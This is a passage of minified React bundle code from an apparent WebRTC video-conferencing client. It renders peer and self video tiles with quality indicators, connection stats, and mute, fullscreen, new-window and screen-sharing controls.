e=this.props,t=e.isMe,n=e.isMirrored,r=e.isScreen,a=e.isExtraVideo,i=e.showQuality,l=e.displayName,s=e.showPeerInfo,c=e.videoContain,u=e.advancedMode,d=e.videoVisible,f=e.videoMultiLayer,p=e.audioScore,m=e.videoScore,h=e.consumerCurrentSpatialLayer,v=e.consumerCurrentTemporalLayer,g=e.consumerPreferredSpatialLayer,b=e.consumerPreferredTemporalLayer,y=e.audioCodec,w=e.videoCodec,S=(e.onChangeDisplayName,e.children),O=e.classes,M=e.netInfo,C=this.state,k=C.videoWidth,P=C.videoHeight,x=null;if(i&&(x=zo(No.a,{style:{color:Eo.a[500]}}),m||p)){var A=m||p;switch(t?A.score:A.producerScore){case 0:case 1:x=zo(Ro.a,{style:{color:Eo.a[500]}});break;case 2:case 3:x=zo(Do.a,{style:{color:Eo.a[500]}});break;case 4:case 5:case 6:x=zo(Bo.a,{style:{color:To.a[500]}});break;case 7:case 8:case 9:x=zo(Uo.a,{style:{color:jo.a[500]}});break;case 10:x=null}}return zo("div",{className:O.root},void 0,zo("div",{className:O.info},void 0,zo("div",{className:O.media},void 0,zo("div",{className:ze()(O.box,"left",{hidden:!u})},void 0,y&&zo(o.a.Fragment,{},void 0,Jo,zo("span",{className:"Acod"},void 0,y)),w&&zo(o.a.Fragment,{},void 0,Qo,zo("span",{className:"Vcod"},void 0,w)),d&&null!==k&&zo(o.a.Fragment,{},void 0,Zo,zo("span",{className:"Res"},void 0,k,"x",P)),t&&!r&&!a&&M.recv&&M.send&&M.send.iceSelectedTuple&&zo(o.a.Fragment,{},void 0,ea,zo("span",{className:"RecvBps"},void 0,(M.recv.sendBitrate/1024/1024).toFixed(2),"Mb/s"),zo("span",{className:"RecvSum"},void 0,(M.recv.bytesSent/1024/1024).toFixed(2),"MB"),ta,zo("span",{className:"SendBps"},void 0,(M.send.recvBitrate/1024/1024).toFixed(2),"Mb/s"),zo("span",{className:"SendSum"},void 0,(M.send.bytesReceived/1024/1024).toFixed(2),"MB"),na,zo("span",{className:"IPloc"},void 0,M.send.iceSelectedTuple.remoteIp),ra,zo("span",{className:"IPsrv"},void 0,M.send.iceSelectedTuple.localIp)),f&&zo(o.a.Fragment,{},void 0,oa,zo("span",{className:"STLcurr"},void 0,h," ",v),aa,zo("span",{className:"STLpref"},void 0,g," ",b))),i&&zo("div",{className:ze()(O.box,"right")},void 0,x)),s&&zo("div",{className:O.peer},void 0,zo("div",{className:O.box},void 0,zo("span",{className:O.displayNameStatic},void 0,l)))),o.a.createElement("video",{ref:"videoElement",className:ze()(O.video,{hidden:!d,isMirrored:n,contain:c}),autoPlay:!0,playsInline:!0,muted:!0,controls:!1}),S)}},{key:"componentDidMount",value:function(){var e=this.props.videoTrack;this._setTracks(e)}},{key:"componentWillUnmount",value:function(){clearInterval(this._videoResolutionTimer);var e=this.refs.videoElement;e&&(e.oncanplay=null,e.onplay=null,e.onpause=null)}},{key:"componentDidUpdate",value:function(e){if(e!==this.props){var t=this.props.videoTrack;this._setTracks(t)}}},{key:"_setTracks",value:function(e){var t=this;if(this._videoTrack!==e){this._videoTrack=e,clearInterval(this._videoResolutionTimer),this._hideVideoResolution();var n=this.refs.videoElement;if(e){var r=new MediaStream;r.addTrack(e),n.srcObject=r,n.oncanplay=function(){return t.setState({videoCanPlay:!0})},n.play().catch((function(e){return Xo.warn('videoElement.play() [error:"%o]',e)})),this._showVideoResolution()}else n.srcObject=null}}},{key:"_showVideoResolution",value:function(){var e=this;this._videoResolutionTimer=setInterval((function(){var t=e.state,n=t.videoWidth,r=t.videoHeight,o=e.refs.videoElement;o.videoWidth===n&&o.videoHeight===r||e.setState({videoWidth:o.videoWidth,videoHeight:o.videoHeight})}),1e3)}},{key:"_hideVideoResolution",value:function(){this.setState({videoWidth:null,videoHeight:null})}}])&&Wo(t.prototype,n),r&&Wo(t,r),i}(o.a.PureComponent),la=Object(s.a)((function(e){return{root:{position:"relative",flex:"100 100 auto",height:"100%",width:"100%",display:"flex",flexDirection:"column",overflow:"hidden"},video:{flex:"100 100 auto",height:"100%",width:"100%",objectFit:"cover",userSelect:"none",transitionProperty:"opacity",transitionDuration:".15s",backgroundColor:"var(--peer-video-bg-color)","&.isMirrored":{transform:"scaleX(-1)"},"&.hidden":{opacity:0,transitionDuration:"0s"},"&.loading":{filter:"blur(5px)"},"&.contain":{objectFit:"contain",backgroundColor:"rgba(0, 0, 0, 1)"}},info:{width:"100%",height:"100%",padding:e.spacing(1),position:"absolute",zIndex:10,display:"flex",flexDirection:"column",justifyContent:"space-between"},media:{display:"flex",transitionProperty:"opacity",transitionDuration:".15s"},box:{padding:e.spacing(.5),borderRadius:2,userSelect:"none",margin:0,color:"rgba(255, 255, 255, 0.7)",fontSize:"0.8em","&.left":{backgroundColor:"rgba(0, 0, 0, 0.25)",display:"grid",gap:"1px 5px",gridTemplateAreas:'\t\t\t\t"AcodL\t\tAcod\tAcod\tAcod\tAcod" \t\t\t\t\t"VcodL\t\tVcod\tVcod\tVcod\tVcod" \t\t\t\t\t"ResL\t\tRes\t\tRes\t\tRes\t\tRes" \t\t\t\t\t"RecvL\t\tRecvBps RecvBps RecvSum RecvSum" \t\t\t\t\t"SendL\t\tSendBps SendBps SendSum SendSum" \t\t\t\t\t"IPlocL\t\tIPloc\tIPloc\tIPloc\tIPloc" \t\t\t\t\t"IPsrvL\t\tIPsrv\tIPsrv\tIPsrv\tIPsrv" \t\t\t\t\t"STLcurrL\tSTLcurr\tSTLcurr STLcurr STLcurr" \t\t\t\t\t"STLprefL\tSTLpref STLpref STLpref STLpref"',"& .AcodL":{gridArea:"AcodL"},"& .Acod":{gridArea:"Acod"},"& .VcodL":{gridArea:"VcodL"},"& .Vcod":{gridArea:"Vcod"},"& .ResL":{gridArea:"ResL"},"& .Res":{gridArea:"Res"},"& .RecvL":{gridArea:"RecvL"},"& .RecvBps":{gridArea:"RecvBps",justifySelf:"flex-end"},"& .RecvSum":{gridArea:"RecvSum",justifySelf:"flex-end"},"& .SendL":{gridArea:"SendL"},"& .SendBps":{gridArea:"SendBps",justifySelf:"flex-end"},"& .SendSum":{gridArea:"SendSum",justifySelf:"flex-end"},"& .IPlocL":{gridArea:"IPlocL"},"& .IPloc":{gridArea:"IPloc"},"& .IPsrvL":{gridArea:"IPsrvL"},"& .IPsrv":{gridArea:"IPsrv"},"& .STLcurrL":{gridArea:"STLcurrL"},"& .STLcurr":{gridArea:"STLcurr"},"& .STLprefL":{gridArea:"STLprefL"},"& .STLpref":{gridArea:"STLpref"}},"&.right":{marginLeft:"auto",width:30},"&.hidden":{opacity:0,transitionDuration:"0s"}},peer:{display:"flex"},displayNameEdit:{fontSize:14,fontWeight:400,color:"rgba(255, 255, 255, 0.85)",border:"none",borderBottom:"1px solid #aeff00",backgroundColor:"transparent"},displayNameStatic:{userSelect:"none",cursor:"text",fontSize:14,fontWeight:400,color:"rgba(255, 255, 255, 0.85)","&:hover":{backgroundColor:"rgb(174, 255, 0, 0.25)"}}}}))(ia),sa=n("8fdb9d009e0331460447"),ca=n("76ea239f6a42a7f5dc6d"),ua=n.n(ca),da=n("a0ba160b843c700d3b1c"),fa=n.n(da);function pa(e,t,n,r){Ko||(Ko="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Ko,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function ma(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function ha(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?ma(Object(n),!0).forEach((function(t){va(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ma(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function va(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ga(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,a=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);i=!0);}catch(e){l=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(l)throw o}}return a}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return ba(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return ba(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ba(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var ya,wa=pa("p",{},void 0,pa(w.a,{id:"room.videoPaused",defaultMessage:"This video is paused"})),Sa=pa(sr.a,{}),Oa=pa(ur.a,{}),Ma=pa(sr.a,{}),Ca=pa(ur.a,{}),ka=pa(ua.a,{}),Pa=pa(ua.a,{}),xa=pa(fa.a,{}),Aa=pa(fa.a,{}),Ea=pa("p",{},void 0,pa(w.a,{id:"room.videoPaused",defaultMessage:"This video is paused"})),Ta=pa(ua.a,{}),ja=pa(ua.a,{}),_a=pa(fa.a,{}),Na=pa(fa.a,{}),Ia=pa("p",{},void 0,pa(w.a,{id:"room.videoPaused",defaultMessage:"This video is paused"})),Ra=pa(ua.a,{}),La=pa(fa.a,{}),Da=Object(Ne.b)(Object(a.connect)((function(e,t){var n=t.id,r=ke();return function(e){return ha(ha({peer:e.peers[n]},r(e,n)),{},{windowConsumer:e.room.windowConsumer,activeSpeaker:n===e.room.activeSpeakerId,browser:e.me.browser})}}),(function(e){return{toggleConsumerFullscreen:function(t){t&&e(d.I(t.id))},toggleConsumerWindow:function(t){t&&e(d.J(t.id))}}}),null,{areStatesEqual:function(e,t){return t.peers===e.peers&&t.consumers===e.consumers&&t.room.activeSpeakerId===e.room.activeSpeakerId&&t.room.windowConsumer===e.room.windowConsumer&&t.me.browser===e.me.browser}})(Object(s.a)((function(e){return{root:{flex:"0 0 auto",boxShadow:"var(--peer-shadow)",border:"var(--peer-border)",touchAction:"none",backgroundColor:"var(--peer-bg-color)",backgroundImage:"var(--peer-empty-avatar)",backgroundPosition:"bottom",backgroundSize:"auto 85%",backgroundRepeat:"no-repeat","&.hover":{boxShadow:"0px 1px 3px rgba(0, 0, 0, 0.05) inset, 0px 0px 8px rgba(82, 168, 236, 0.9)"},"&.active-speaker":{borderColor:"var(--active-speaker-border-color)"},"&:not(.active-speaker):not(.screen)":{},"&.webcam":{order:4},"&.screen":{order:3}},fab:{margin:e.spacing(1)},smallContainer:{backgroundColor:"rgba(255, 255, 255, 0.9)",margin:"0.5vmin",padding:"0.5vmin",boxShadow:"0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12)",pointerEvents:"auto",transition:"background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,border 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms","&:hover":{backgroundColor:"rgba(213, 213, 213, 1)"}},viewContainer:{position:"relative",width:"100%",height:"100%"},controls:{position:"absolute",width:"100%",height:"100%",backgroundColor:"rgba(0, 0, 0, 0.3)",display:"flex",flexDirection:"column",justifyContent:"center",alignItems:"flex-end",padding:e.spacing(1),zIndex:21,opacity:0,transition:"opacity 0.3s",touchAction:"none","&.hover":{opacity:1}},videoInfo:{position:"absolute",width:"100%",height:"100%",backgroundColor:"rgba(0, 0, 0, 0.3)",display:"flex",justifyContent:"center",alignItems:"center",padding:e.spacing(1),zIndex:20,"& p":{padding:"6px 12px",borderRadius:6,userSelect:"none",pointerEvents:"none",fontSize:20,color:"rgba(255, 255, 255, 0.55)"}}}}),{withTheme:!0})((function(e){var t=ga(Object(r.useState)(!1),2),n=t[0],a=t[1],i=Object(xe.a)(),l=null,s=e.roomClient,c=e.advancedMode,u=e.peer,d=e.activeSpeaker,f=e.browser,p=e.micConsumer,m=e.webcamConsumer,h=e.screenConsumer,v=e.extraVideoConsumers,g=e.toggleConsumerFullscreen,b=e.toggleConsumerWindow,y=e.spacing,w=e.style,S=e.smallContainer,O=e.windowConsumer,M=e.classes,C=e.theme,k=Boolean(p)&&!p.locallyPaused&&!p.remotelyPaused,P=Boolean(m)&&!m.locallyPaused&&!m.remotelyPaused,x=Boolean(h)&&!h.locallyPaused&&!h.remotelyPaused,A=Object(go.a)(C.breakpoints.down("sm")),E=ha({margin:y},w);return pa(o.a.Fragment,{},void 0,pa("div",{className:ze()(M.root,"webcam",n?"hover":null,d?"active-speaker":null),onMouseOver:function(){return a(!0)},onMouseOut:function(){return a(!1)},onTouchStart:function(){l&&clearTimeout(l),a(!0)},onTouchEnd:function(){l&&clearTimeout(l),l=setTimeout((function(){a(!1)}),2e3)},style:E},void 0,pa("div",{className:ze()(M.viewContainer)},void 0,!P&&pa("div",{className:M.videoInfo},void 0,wa),pa("div",{className:ze()(M.controls,n?"hover":null),onMouseOver:function(){return a(!0)},onMouseOut:function(){return a(!1)},onTouchStart:function(){l&&clearTimeout(l),a(!0)},onTouchEnd:function(){l&&clearTimeout(l),l=setTimeout((function(){a(!1)}),2e3)}},void 0,pa(ir.a,{title:i.formatMessage({id:"device.muteAudio",defaultMessage:"Mute audio"}),placement:A?"top":"left"},void 0,S?pa(ft.a,{"aria-label":i.formatMessage({id:"device.muteAudio",defaultMessage:"Mute audio"}),className:M.smallContainer,disabled:!p,color:"primary",size:"small",onClick:function(){k?s.modifyPeerConsumer(u.id,"mic",!0):s.modifyPeerConsumer(u.id,"mic",!1)}},void 0,k?Sa:Oa):pa(sa.a,{"aria-label":i.formatMessage({id:"device.muteAudio",defaultMessage:"Mute audio"}),className:M.fab,disabled:!p,color:k?"default":"secondary",size:"large",onClick:function(){k?s.modifyPeerConsumer(u.id,"mic",!0):s.modifyPeerConsumer(u.id,"mic",!1)}},void 0,k?Ma:Ca)),"mobile"!==f.platform&&pa(ir.a,{title:i.formatMessage({id:"label.newWindow",defaultMessage:"New window"}),placement:A?"top":"left"},void 0,S?pa(ft.a,{"aria-label":i.formatMessage({id:"label.newWindow",defaultMessage:"New window"}),className:M.smallContainer,disabled:!P||O===m.id,size:"small",color:"primary",onClick:function(){b(m)}},void 0,ka):pa(sa.a,{"aria-label":i.formatMessage({id:"label.newWindow",defaultMessage:"New window"}),className:M.fab,disabled:!P||O===m.id,size:"large",onClick:function(){b(m)}},void 0,Pa)),pa(ir.a,{title:i.formatMessage({id:"label.fullscreen",defaultMessage:"Fullscreen"}),placement:A?"top":"left"},void 0,S?pa(ft.a,{"aria-label":i.formatMessage({id:"label.fullscreen",defaultMessage:"Fullscreen"}),className:M.smallContainer,disabled:!P,size:"small",color:"primary",onClick:function(){g(m)}},void 0,xa):pa(sa.a,{"aria-label":i.formatMessage({id:"label.fullscreen",defaultMessage:"Fullscreen"}),className:M.fab,disabled:!P,size:"large",onClick:function(){g(m)}},void 0,Aa))),pa(la,{showQuality:!0,advancedMode:c,peer:u,displayName:u.displayName,showPeerInfo:!0,consumerSpatialLayers:m?m.spatialLayers:null,consumerTemporalLayers:m?m.temporalLayers:null,consumerCurrentSpatialLayer:m?m.currentSpatialLayer:null,consumerCurrentTemporalLayer:m?m.currentTemporalLayer:null,consumerPreferredSpatialLayer:m?m.preferredSpatialLayer:null,consumerPreferredTemporalLayer:m?m.preferredTemporalLayer:null,videoMultiLayer:m&&"simple"!==m.type,videoTrack:m&&m.track,videoVisible:P,audioTrack:p&&p.track,audioCodec:p&&p.codec,videoCodec:m&&m.codec,audioScore:p?p.score:null,videoScore:m?m.score:null},void 0,pa(Vr,{id:u.id})))),v.map((function(e){return pa("div",{className:ze()(M.root,"webcam",n?"hover":null,d?"active-speaker":null),onMouseOver:function(){return a(!0)},onMouseOut:function(){return a(!1)},onTouchStart:function(){l&&clearTimeout(l),a(!0)},onTouchEnd:function(){l&&clearTimeout(l),l=setTimeout((function(){a(!1)}),2e3)},style:E},e.id,pa("div",{className:ze()(M.viewContainer)},void 0,!P&&pa("div",{className:M.videoInfo},void 0,Ea),pa("div",{className:ze()(M.controls,n?"hover":null),onMouseOver:function(){return a(!0)},onMouseOut:function(){return a(!1)},onTouchStart:function(){l&&clearTimeout(l),a(!0)},onTouchEnd:function(){l&&clearTimeout(l),l=setTimeout((function(){a(!1)}),2e3)}},void 0,"mobile"!==f.platform&&pa(ir.a,{title:i.formatMessage({id:"label.newWindow",defaultMessage:"New window"}),placement:A?"top":"left"},void 0,S?pa(ft.a,{"aria-label":i.formatMessage({id:"label.newWindow",defaultMessage:"New window"}),className:M.smallContainer,disabled:!P||O===e.id,size:"small",color:"primary",onClick:function(){b(e)}},void 0,Ta):pa(sa.a,{"aria-label":i.formatMessage({id:"label.newWindow",defaultMessage:"New window"}),className:M.fab,disabled:!P||O===e.id,size:"large",onClick:function(){b(e)}},void 0,ja)),pa(ir.a,{title:i.formatMessage({id:"label.fullscreen",defaultMessage:"Fullscreen"}),placement:A?"top":"left"},void 0,S?pa(ft.a,{"aria-label":i.formatMessage({id:"label.fullscreen",defaultMessage:"Fullscreen"}),className:M.smallContainer,disabled:!P,size:"small",color:"primary",onClick:function(){g(e)}},void 0,_a):pa(sa.a,{"aria-label":i.formatMessage({id:"label.fullscreen",defaultMessage:"Fullscreen"}),className:M.fab,disabled:!P,size:"large",onClick:function(){g(e)}},void 0,Na))),pa(la,{showQuality:!0,advancedMode:c,peer:u,displayName:u.displayName,showPeerInfo:!0,consumerSpatialLayers:e?e.spatialLayers:null,consumerTemporalLayers:e?e.temporalLayers:null,consumerCurrentSpatialLayer:e?e.currentSpatialLayer:null,consumerCurrentTemporalLayer:e?e.currentTemporalLayer:null,consumerPreferredSpatialLayer:e?e.preferredSpatialLayer:null,consumerPreferredTemporalLayer:e?e.preferredTemporalLayer:null,videoMultiLayer:e&&"simple"!==e.type,videoTrack:e&&e.track,videoVisible:P,videoCodec:e&&e.codec,videoScore:e?e.score:null})))})),h&&pa("div",{className:ze()(M.root,"screen",n?"hover":null),onMouseOver:function(){return a(!0)},onMouseOut:function(){return a(!1)},onTouchStart:function(){l&&clearTimeout(l),a(!0)},onTouchEnd:function(){l&&clearTimeout(l),l=setTimeout((function(){a(!1)}),2e3)},style:E},void 0,pa("div",{className:ze()(M.viewContainer)},void 0,!x&&pa("div",{className:M.videoInfo},void 0,Ia),pa("div",{className:ze()(M.controls,n?"hover":null),onMouseOver:function(){return a(!0)},onMouseOut:function(){return a(!1)},onTouchStart:function(){l&&clearTimeout(l),a(!0)},onTouchEnd:function(){l&&clearTimeout(l),l=setTimeout((function(){a(!1)}),2e3)}},void 0,"mobile"!==f.platform&&pa(ir.a,{title:i.formatMessage({id:"label.newWindow",defaultMessage:"New window"}),placement:A?"top":"left"},void 0,pa(sa.a,{"aria-label":i.formatMessage({id:"label.newWindow",defaultMessage:"New window"}),className:M.fab,disabled:!x||O===h.id,size:S?"small":"large",onClick:function(){b(h)}},void 0,Ra)),pa(ir.a,{title:i.formatMessage({id:"label.fullscreen",defaultMessage:"Fullscreen"}),placement:A?"top":"left"},void 0,pa(sa.a,{"aria-label":i.formatMessage({id:"label.fullscreen",defaultMessage:"Fullscreen"}),className:M.fab,disabled:!x,size:S?"small":"large",onClick:function(){g(h)}},void 0,La))),pa(la,{showQuality:!0,advancedMode:c,videoContain:!0,consumerSpatialLayers:h?h.spatialLayers:null,consumerTemporalLayers:h?h.temporalLayers:null,consumerCurrentSpatialLayer:h?h.currentSpatialLayer:null,consumerCurrentTemporalLayer:h?h.currentTemporalLayer:null,consumerPreferredSpatialLayer:h?h.preferredSpatialLayer:null,consumerPreferredTemporalLayer:h?h.preferredTemporalLayer:null,videoMultiLayer:h&&"simple"!==h.type,videoTrack:h&&h.track,videoVisible:x,videoCodec:h&&h.codec,videoScore:h?h.score:null}))))})))),Fa=n("00a51dce9a17444b048d"),Ba=n.n(Fa),Va=n("e0c7e798a7877de797eb"),Ua=n.n(Va),Ha=n("776de9f1588ebdfbb2d0"),za=n.n(Ha),Wa=n("d1708187784d694abd6f"),$a=n.n(Wa),qa=n("974f1d17e577246db105"),Ya=n.n(qa),Ga=n("4fd50bf28abf0576ffa8"),Ka=n.n(Ga);function Xa(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Ja(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Xa(Object(n),!0).forEach((function(t){Qa(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Xa(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Qa(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Za(e,t,n,r){ya||(ya="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:ya,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function ei(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,a=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);i=!0);}catch(e){l=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(l)throw o}}return a}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return ti(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return ti(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ti(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var ni,ri=Za(w.a,{id:"me.mutedPTT",defaultMessage:"You are muted, hold down SPACE-BAR to talk"}),oi=Za(w.a,{id:"me.mutedPTT",defaultMessage:"You are muted, hold down SPACE-BAR to talk"}),ai=Za(w.a,{id:"room.me",defaultMessage:"ME"}),ii=Za(Ua.a,{}),li=Za(Ba.a,{}),si=Za(Ua.a,{}),ci=Za(Ua.a,{}),ui=Za(Ba.a,{}),di=Za(Ua.a,{}),fi=Za(za.a,{}),pi=Za($a.a,{}),mi=Za(za.a,{}),hi=Za($a.a,{}),vi=Za(Ya.a,{}),gi=Za(Ya.a,{}),bi=Za(w.a,{id:"room.me",defaultMessage:"ME"}),yi=Za(za.a,{}),wi=Za(za.a,{}),Si=Za("div",{},void 0,"You are presenting to everyone."),Oi=Object(Ne.b)(Object(a.connect)((function(){var e=Pe(Ie.a.SHARE_AUDIO),t=Pe(Ie.a.SHARE_VIDEO),n=Pe(Ie.a.SHARE_SCREEN);return function(r){var o;return o=r.peerVolumes[r.me.id]<r.settings.noiseThreshold?Math.round((100+r.peerVolumes[r.me.id])/(100+r.settings.noiseThreshold)*10):10,Ja(Ja({me:r.me},Ce(r)),{},{settings:r.settings,activeSpeaker:r.me.id===r.room.activeSpeakerId,hasAudioPermission:e(r),hasVideoPermission:t(r),hasScreenPermission:n(r),noiseVolume:o,transports:r.transports})}}),null,null,{areStatesEqual:function(e,t){return Math.round(t.peerVolumes[t.me.id])===Math.round(e.peerVolumes[e.me.id])&&t.room===e.room&&t.me===e.me&&t.peers===e.peers&&t.producers===e.producers&&t.settings===e.settings&&t.transports===e.transports}})(Object(s.a)((function(e){return{screenProducer:{flex:"0 0 auto",boxShadow:"var(--peer-shadow)",border:"var(--peer-border)",backgroundColor:"var(--peer-bg-color)",backgroundPosition:"bottom",backgroundSize:"auto 85%",backgroundRepeat:"no-repeat","&.hover":{boxShadow:"0px 1px 3px rgba(0, 0, 0, 0.05) inset, 0px 0px 8px rgba(82, 168, 236, 0.9)"},"&.active-speaker":{borderColor:"var(--active-speaker-border-color)"},"&:not(.active-speaker):not(.screen)":{},"&.screen":{order:2}},root:{flex:"0 0 auto",boxShadow:"var(--peer-shadow)",border:"var(--peer-border)",backgroundColor:"var(--peer-bg-color)",backgroundImage:"var(--peer-empty-avatar)",backgroundPosition:"bottom",backgroundSize:"auto 85%",backgroundRepeat:"no-repeat","&.hover":{boxShadow:"0px 1px 3px rgba(0, 0, 0, 0.05) inset, 0px 0px 8px rgba(82, 168, 236, 0.9)"},"&.active-speaker":{borderColor:"var(--active-speaker-border-color)"},"&:not(.active-speaker):not(.screen)":{},"&.webcam":{order:1},"&.screen":{order:2},"&.isScreenShareOn":{height:"100px",width:"200px",overflow:"hidden",position:"absolute",top:"0",left:"0",zIndex:"99"}},fab:{margin:e.spacing(1),pointerEvents:"auto"},smallContainer:{backgroundColor:"rgba(255, 255, 255, 0.9)",margin:"0.5vmin",padding:"0.5vmin",boxShadow:"0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12)",pointerEvents:"auto",transition:"background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,border 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms","&:hover":{backgroundColor:"rgba(213, 213, 213, 1)"}},viewContainer:{position:"relative",width:"100%",height:"100%"},meTag:{position:"absolute",float:"left",top:"50%",left:"50%",transform:"translate(-50%, -50%)",color:"rgba(255, 255, 255, 0.5)",fontSize:"2em",zIndex:30,margin:0,opacity:0,transition:"opacity 0.1s ease-in-out","&.hover":{opacity:1},"&.smallContainer":{fontSize:"3em"}},screenShareMessage:{position:"absolute",float:"left",top:"50%",left:"50%",transform:"translate(-50%, -50%)",color:"rgba(255, 255, 255, 0.5)",fontSize:"2em",zIndex:30,margin:0,opacity:1,width:"100%",textAlign:"center"},controls:{position:"absolute",width:"100%",height:"100%",display:"flex",flexDirection:"column",justifyContent:"center",alignItems:"flex-end",padding:e.spacing(1),zIndex:21,touchAction:"none",pointerEvents:"none","&.hide":{transition:"opacity 0.1s ease-in-out",opacity:0},"&.hover":{opacity:1}},ptt:{position:"absolute",float:"left",top:"25%",left:"50%",transform:"translate(-50%, 0%)",color:"rgba(255, 255, 255, 0.7)",fontSize:"0.7em",backgroundColor:"rgba(245, 0, 87, 0.70)",margin:"4px",padding:e.spacing(2),zIndex:1200,borderRadius:"20px",textAlign:"center",opacity:0,transition:"opacity 1s ease",pointerEvents:"none","&.enabled":{transition:"opacity 0.1s",opacity:1}}}}),{withTheme:!0})((function(e){var t,n,a,i,l,s,c=ei(Object(r.useState)(!1),2),u=c[0],d=c[1],f=Object(xe.a)(),p=null,m=e.roomClient,h=e.me,v=e.settings,g=e.activeSpeaker,b=e.spacing,y=e.style,w=e.advancedMode,S=e.micProducer,O=e.webcamProducer,M=e.screenProducer,C=e.extraVideoProducers,k=e.hasAudioPermission,P=e.hasVideoPermission,x=e.hasScreenPermission,A=e.transports,E=e.noiseVolume,T=e.classes,j=Boolean(O)&&!O.locallyPaused&&!O.remotelyPaused,_=Boolean(M)&&!M.locallyPaused&&!M.remotelyPaused,N=_;h.canSendMic&&k?S?S.locallyPaused||S.remotelyPaused?(t="muted",n=f.formatMessage({id:"device.unMuteAudio",defaultMessage:"Unmute audio"})):(t="on",n=f.formatMessage({id:"device.muteAudio",defaultMessage:"Mute audio"})):(t="off",n=f.formatMessage({id:"device.activateAudio",defaultMessage:"Activate audio"})):(t="unsupported",n=f.formatMessage({id:"device.audioUnsupported",defaultMessage:"Audio unsupported"})),h.canSendWebcam&&P?O?(a="on",i=f.formatMessage({id:"device.stopVideo",defaultMessage:"Stop video"})):(a="off",i=f.formatMessage({id:"device.startVideo",defaultMessage:"Start video"})):(a="unsupported",i=f.formatMessage({id:"device.videoUnsupported",defaultMessage:"Video unsupported"})),h.canShareScreen&&x?M?(l="on",s=f.formatMessage({id:"device.stopScreenSharing",defaultMessage:"Stop screen sharing"})):(l="off",s=f.formatMessage({id:"device.startScreenSharing",defaultMessage:"Start screen sharing"})):(l="unsupported",s=f.formatMessage({id:"device.screenSharingUnsupported",defaultMessage:"Screen sharing not supported"}));var 